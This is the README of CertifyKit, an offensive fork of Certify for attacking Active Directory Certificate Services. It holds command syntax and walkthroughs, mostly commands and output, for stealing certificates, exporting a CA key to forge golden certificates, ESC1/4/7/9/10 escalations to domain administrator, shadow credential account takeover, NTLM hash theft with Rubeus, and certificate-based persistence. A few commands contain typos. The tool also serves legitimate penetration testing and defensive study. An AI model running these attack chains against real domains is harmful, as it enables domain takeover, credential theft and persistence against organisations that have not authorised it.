CertifyKit

CertifyKit is a fork of Certify with following handy functions in addition:

THEFT4 - Search certificate file in folder recursively or search certificate in certificate stores
THEFT1/DPERSIST1 - Export certificate or golden certificate
ESC1 - Create machine account
ESC4 - Alter template to Smart Card Authen template
ESC7 - Issue pending or deleted certificate request
ESC9/ESC10 - Alter dNSHostName of a machine account or alter userPrincipalName of a user/machine account
MISC - Shadow Credential attack
MISC - Account persistence with altSecurityIdentities

Usage

C:\>.\CertifyKit.exe
CertifyKit (Hagrid29 version of Certify)
More info: https://github.com/Hagrid29/CertifyKit/


Find information about all registered CAs:

    CertifyKit.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] [/quiet]


  Find all enabled certificate templates:

    CertifyKit.exe find [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]

  Find vulnerable/abusable certificate templates using default low-privileged groups:

    CertifyKit.exe find /vulnerable [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]

  Find vulnerable/abusable certificate templates using all groups the current user context is a part of:

    CertifyKit.exe find /vulnerable /currentuser [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]

  Find enabled certificate templates where ENROLLEE_SUPPLIES_SUBJECT is enabled:

    CertifyKit.exe find /enrolleeSuppliesSubject [/ca:SERVER\ca-name| /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]

  Find enabled certificate templates capable of client authentication:

    CertifyKit.exe find /clientauth [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]

  Find all enabled certificate templates, display all of their permissions, and don't display the banner message:

    CertifyKit.exe find /showAllPermissions /quiet [/ca:COMPUTER\CA_NAME | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local]

  Find all enabled certificate templates and output to a json file:

    CertifyKit.exe find /json /log:C:\Temp\out.json [/ca:COMPUTER\CA_NAME | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local]


  Enumerate access control information for PKI objects:

    CertifyKit.exe pkiobjects [/domain:domain.local | /ldapserver:server.domain.local] [/showAdmins] [/quiet]


  Request a new certificate using the current user context:

    CertifyKit.exe request /ca:SERVER\ca-name [/subject:X] [/template:Y] [/install]

  Request a new certificate using the current machine context:

    CertifyKit.exe request /ca:SERVER\ca-name /machine [/subject:X] [/template:Y] [/install]

  Request a new certificate using the current user context but for an alternate name (if supported):

    CertifyKit.exe request /ca:SERVER\ca-name /template:Y /altname:USER

  Request a new certificate on behalf of another user, using an enrollment agent certificate:

    CertifyKit.exe request /ca:SERVER\ca-name /template:Y /onbehalfof:DOMAIN\USER /enrollcert:C:\Temp\enroll.pfx [/enrollcertpw:CERT_PASSWORD]

  Alter the template to smart card template and request a new certificate for an alternate name and restore the template to original state:

    CertifyKit.exe request /ca:SERVER\ca-name /template:Y /alter /altname:USER


  Download an already requested certificate:

    CertifyKit.exe download /ca:SERVER\ca-name /id:ID [/install] [/machine]

  Issue a pending or deleted certificate:

    CertifyKit.exe download /ca:SERVER\ca-name /issue /id:ID


  List all certificates in store My,CurrentUser by default or in a folder recursively:

    CertifyKit.exe list [/storename:X | /sotrelocation:Y | /certificate:C:\Users\] [/password:CERT_PASSWORD] [/recurse]

  Read a certificate specifying thumbprint or file or base64 string with password and export as file or base64 string with a password:

    CertifyKit.exe list /certificate:THUMBPRINT/FILE/BASE64 [/outfile:exportfile.pfx | /base64] /password:CERT_PASSWORD /encpass:ENC_PASSWORD

  Import a certificate from file or base64 string with password to store My,CurrentUser by default

    CertifyKit.exe list /certificate:FILE/BASE64 [/outfile:exportfile.pfx | /base64] /password:CERT_PASSWORD [/storename:X | /sotrelocation:Y]

  Build chain of a certificate from store My,CurrentUser by default specifying thumbprint:

    CertifyKit.exe list /certificate:THUMBPRINT [/storename:X | /sotrelocation:Y] /chain

  Remove a certificate from store My,CurrentUser by default specifying thumbprint:

    CertifyKit.exe list /certificate:THUMBPRINT /remove [/storename:X | /sotrelocation:Y]


  Backup private key for a Certificate Authority's CA certificate on CA server, which could be used to forge AD CS certificate:

    Certify list /golden [/outfile:C:\backup.pfx | /base64] [/encpass:ENC_PASSWORD]


  Create or remove a machine account:

    Certify account /machine:MACHINE [/createpc | /removepc] [/domain:domain.local | /ldapserver:server.domain.local]

  Alter dNSHostName of a machine account or alter userPrincipalName of a user/machine account or clear userPrincipalName of a user account:

    Certify account [/machine:MACHINE | /user:USER] [/dns:new.domain.local | /upn:new@domain.local] [clear]

  Alter or query attribute of an account:

    Certify account [/machine:MACHINE | /user:USER] /attribute:ATTRIBUTE [/query | /value:VALUE | /clear | /remove:ID] [/append]


  Shadow credentail attack on a machine account and output self signed certificate as base64 string by default:

    Certify account /machine:MACHINE /shadow [/outfile:C:\xxx.pfx | /install] [/encpass:ENC_PASSWORD]

  Query or Remove or clear KeyCredentialLink on a user account:

    Certify account /user:USER /shadow [/list | /remove:ID | /clear]


  Map a certificate to a machine account for the purpose of authentication:

    Certify account /machine:MACHINE /altsecid /certificate:THUMBPRINT/FILE/BASE64 [/password:CERT_PASSWORD]

  Query or Remove or clear altSecurityIdentities on a user account:

    Certify account /user:USER /altsecid [/list | /remove:ID | /clear]

Example Walkthrough

THEFT4 - Theft of existing certificates via file/directory triage

Search certificate files in a folder recursively

CertifyKit.exe list /certificate:C:\Users\ /recurse

THEFT1 - Export certificate using Window’s Crypto APIs

List certificates in store for personal certificates assigned to the local machine.

C:\>.\CertifyKit.exe list /storename:my /storelocation:localmachine
CertifyKit (Hagrid29 version of Certify)
More info: https://github.com/Hagrid29/CertifyKit/

[*] Action: List Certificates

  Location           : My, LocalMachine
  Issuer             : CN=corp-CORPADCS-CA-1, DC=corp, DC=local
  HasPrivateKey      : True
  KeyExportable      : True
  Thumbprint         : 64F8A2CCF06C7609918D8DA66B1A29B91722E392
  EnhancedKeyUsages  : <null>      [!] Certificate can be used for client authentication!
  SubjectAltName     :

Export certificate specifying thumbprint to file

C:\>.\CertifyKit.exe list /storename:my /storelocation:localmachine /certificate:64F8A2CCF06C7609918D8DA66B1A29B91722E392 /outfile:cert.pfx
CertifyKit (Hagrid29 version of Certify)
More info: https://github.com/Hagrid29/CertifyKit/

[*] Action: List Certificates

[*] Export certificate   : cert.pfx


Certify completed in 00:00:00.0944640

DPERSIST1 - Golden Certificate

Export CA's certificate with private key on CA server

CertifyKit.exe list /golden /outfile:gold.p12

Forge a certificate with subject alternative name "administrator@corp.local" offline with ForgeCert

ForgeCert.exe --CaCertPath gold.p12.p12 --CaCertPassword "" --Subject "CN=administrator" --SubjectAltName "administrator@corp.local" --NewCertPath admin.pfx --NewCertPassword ""

ESC1 - Misconfigured Certificate Templates (Machine Context)

Certify supply option /machine to request certificate in machine account context. It requires administrative privilege on local machine. Instead, we could

Create machine account

CertifyKit.exe account /machine:mypc /password:P@ssw0rd123 /create

Inject TGT of machine account with Rubeus

Rubeus.exe asktgt /user:mypc /password:P@ssw0rd123 /ptt

Request a new certificate for vulnerable template/CA, specifying a administrator as the alternate principal, and install the certificate:

CertifyKit.exe request /ca:corpadcs.corp.local\corp-CORPADCS-CA-1 /template:VulnTemplate /altname:administrator /install

ESC4 - Vulnerable Certificate Template Access Control

If we have write privilege and enroll privilege over a certificate template, we could alter the template to smart card template which vulnerable as ESC1

CertifyKit.exe request /ca:corpadcs.corp.local\corp-CORPADCS-CA-1 /template:VulnTemplate /alter /altname:administrator

ESC7 - Vulnerable Certificate Authority Access Control

Assume we are CA manager. We could escalate privilege by issuing pending/deleted certificate

Enroll a new certificate for a template vulnerable as ESC1 except no enroll right require. Default template SubCA fulfil the requirement. Failed enrollment is expected.

CertifyKit.exe request /ca:corpadcs.corp.local\corp-CORPADCS-CA-1 /template:SubCA /altname:administrator

Issue the failed certificate request with CA manager privilege (the command work on server 2016+ only)

CertifyKit.exe download /issue /id:145

Download the certificate

CertifyKit.exe download /id:145

ESC9 - CT_FLAG_NO_SECURITY_EXTENSION

Assume

VulnTemplate set attribute msPKI-Enrollment-Flag to value NO_SECURITY_EXTENSION
VulnTemplate contain suitable EKU
StrongCertificateBindingEnforcement set to 0 or 1 (default is 1)
VulnTemplate set attribute msPKI-Certificate-Name-Flagto value SUBJECT_ALT_REQUIRE_UPN
Write privilege over a user account or a machine account

Example of machine account scenario

Add "Shadow Credential" to machine account Mypc

CertifyKit.exe account /machineLmypc /shadow /outfile:mypc-shadow.pfx

Change userPrincipalName of Mypc to Domain Admin

CertifyKit.exe account /machine:mypc /upn:administrator

Authenticate as Mypc and inject TGT

Rubeus.exe /user:mypc /certificate:mypc-shadow.pfx /ptt

Enroll a new certificate for the vulnerable template

CertifyKit.exe request /ca:corpadcs.corp.local\corp-CORPADCS-CA-1 /template:VulnTemplate /install

Clear userPrincipalName of Mypc

CertifyKit.exe account /user:mypc /upn /clear

Authenticate as Domain Admin

Rubeus.exe /user:administrator /certificate:4E4C47F105D71D353CC45BF3F33B83B2721B0416

ESC10 - Certificate Mappings after Restoring Old Value that before patch

Case 1 (Kerberos Certificate Mapping)

Assume:

StrongCertificateBindingEnforcement set to 0 (default is 1)

User Account scenario

Write privilege over a user account

Machine account scenario

Write privilege over a machine account
VulnTemplate set attribute msPKI-Certificate-Name-Flagto value SUBJECT_ALT_REQUIRE_UPN
Machine account have enroll privilege on VulnTemplate
VulnTemplate contain suitable EKU

Example of user account scenario

Add "Shadow Credential" to account User02

Change userPrincipalName of User02 to DNS hostname of Domain Controller (or Domain Admin account: administrator)

CertifyKit.exe account /user:user02 /upn:corpdc01$@corp.local

Authenticate as User02 and inject TGT

Enroll a new certificate for template user

CertifyKit.exe request /ca:corpadcs.corp.local\corp-CORPADCS-CA-1 /template:user /install

Restore userPrincipalName of User02 to original value

Authenticate as Domain Controller using Kerberos

Rubeus.exe /user:corpdc01 /certificate:4E4C47F105D71D353CC45BF3F33B83B2721B0416

Case 2 (Schannel Certificate Mapping)

Assume:

CertificateMappingMethods contains UPN bit flag (0x4) (Default value 0x18 (0x8 | 0x10), old value 0x1F.)
Write privilege over User02

Additional requirement to compromise user account:

there is no userPrincipalName set or the userPrincipalName doesn’t match the sAMAccountName of that account

Add "Shadow Credential" to account User02

Change userPrincipalName of user02 to DNS hostname of Domain Controller (or Domain Admin account: administrator@corp.local)

Authenticate as User02 and inject TGT

Enroll a new certificate for template user

Restore userPrincipalName of User02 to original value

Authenticate as machine account using Schannel with PassTheCert to add RBCD

PassTheCert.exe --server corpadcs.corp.local --cert-path .\esc10-2.pfx --rbcd --target "CN=CORPDC01,OU=Domain Controllers,DC=corp,DC=local" --sid S-1-5-21-3686061768-1206333381-2520098238-1104

MISC - Shadow Credential

If we have write privilege over an account, we could take over the account by manipulating its msDS-KeyCredentialLink attribute, effectively adding "Shadow Credentials" to the target account.

CertifyKit.exe account /user:user02 /shadow /outfile:user02-shadow.pfx

Authenticate with the "Shadow Credential", and steal NTLM hash

Rubeus.exe asktgt /user:user02 /certificate:user02-shadow.pfx /getcredentials

List "Shadow Credential" added to an account

C:\>.\CertifyKit.exe account /user:user02 /shadow /list
CertifyKit (Hagrid29 version of Certify)
More info: https://github.com/Hagrid29/CertifyKit/

[*] Action: Account Operation

[*] Account user02 attribute:
  msDS-KeyCredentialLink :
    [0] :   DeviceID: 54c93625-7866-41ba-96fe-5c742cc423f9 | Creation Time: 8/21/2022 11:35:46 PM
    [1] :   DeviceID: b130c63d-b1f8-404a-889e-a705ddf9abcb | Creation Time: 8/21/2022 11:35:21 PM

Remove specific "Shadow Credential"

CertifyKit.exe account /user:user02 /remove:0

Clear all "Shadow Credential"

CertifyKit.exe account /user:user02 /shadow /clear

MISC - Account persistence with altSecurityIdentities

If we have write privilege over an account, we could map a certificate to the account for the purpose of authentication by manipulating its altSecurityIdentities attribute

Assume we obtained Domain Admin privilege. We could perform persistence attack on multiple accounts

Request a certificate for persistence attack (Alter the template to smart card template and leave the subjectAltName blank)

C:\> .\CertifyKit.exe request /ca:corpadcs.corp.local\corp-CORPADCS-CA-1 /template:AnyTemplate /alter /install

C:\>.\CertifyKit.exe list
CertifyKit (Hagrid29 version of Certify)
More info: https://github.com/Hagrid29/CertifyKit/

[*] Action: List Certificates

  Location           : My, CurrentUser
  Issuer             : CN=corp-CORPADCS-CA-1, DC=corp, DC=local
  HasPrivateKey      : True
  KeyExportable      : True
  Thumbprint         : F5EE8B01C33DDF4161E554DD2FB7ED63503FEF12
  EnhancedKeyUsages  :
       Client Authentication     [!] Certificate can be used for client authentication!
       Smart Card Logon     [!] Certificate can be used for client authentication!
  SubjectAltName     :

Map the certificate to multiple user

C:\>.\CertifyKit.exe account /machine:testpc /altsecid /certificate:F5EE8B01C33DDF4161E554DD2FB7ED63503FEF12
C:\>.\CertifyKit.exe account /user:user02 /altsecid /certificate:F5EE8B01C33DDF4161E554DD2FB7ED63503FEF12

Authenticate as multiple users with a single certificate, and steal NTLM hash

C:\>.\Rubeus.exe asktgt /user:testpc /certificate:F5EE8B01C33DDF4161E554DD2FB7ED63503FEF12 /getcredentials
C:\>.\Rubeus.exe asktgt /user:user02 /certificate:F5EE8B01C33DDF4161E554DD2FB7ED63503FEF12 /getcredentials

Comparing `/shadow` and `/altsecid`

/altsecid require CA signed cert, while /shadow cert can be self sign
/altsecid cert could be revoked, while /shadow self sign cert could not be revoked
/altsecid can map to multiple account, while /shadow cert can only map to signal account

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THEFT4 - Theft of existing certificates via file/directory triage

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THEFT4 - Theft of existing certificates via file/directory triage

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ESC4 - Vulnerable Certificate Template Access Control

ESC7 - Vulnerable Certificate Authority Access Control

ESC9 - CT_FLAG_NO_SECURITY_EXTENSION

ESC10 - Certificate Mappings after Restoring Old Value that before patch

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Comparing /shadow and /altsecid

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